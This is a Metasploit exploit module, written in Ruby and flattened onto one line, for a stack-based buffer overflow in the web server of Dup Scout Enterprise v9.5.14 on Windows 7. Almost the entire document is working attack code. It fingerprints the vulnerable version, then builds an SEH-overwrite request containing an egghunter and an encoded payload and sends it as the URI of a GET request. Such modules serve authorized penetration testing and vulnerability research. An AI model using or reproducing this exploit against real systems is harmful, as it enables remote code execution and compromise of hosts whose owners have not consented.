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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dup Scout Enterprise GET Buffer Overflow', 'Description'=> %q{ This module exploits a stack-based buffer overflow vulnerability in the web interface of Dup Scout Enterprise v9.5.14, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1 x86. }, 'License'=> MSF_LICENSE, 'Author' => [ 'vportal', # Vulnerability discovery and PoC 'Daniel Teixeira'# Metasploit module ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload'=> { 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", 'Space'=> 500 }, 'Targets'=> [ [ 'Dup Scout Enterprise v9.5.14', { 'Offset' => 2488, 'Ret'=> 0x10050ff3# POP # POP # RET [libspp.dll] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Mar 15 2017', 'DefaultTarget'=> 0)) end def check res = send_request_cgi( 'method' => 'GET', 'uri'=> '/' ) if res && res.code == 200 version = res.body[/Dup Scout Enterprise v[^<]*/] if version vprint_status("Version detected: #{version}") if version =~ /9\.5\.14/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end else vprint_error('Unable to determine due to a HTTP connection timeout') return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit eggoptions = { checksum: true, eggtag: rand_text_alpha(4, payload_badchars) } hunter, egg = generate_egghunter( payload.encoded, payload_badchars, eggoptions ) sploit =rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter sploit << make_nops(10) sploit << egg sploit << rand_text_alpha(5500) print_status('Sending request...') send_request_cgi( 'method' => 'GET', 'uri'=> sploit ) end end |
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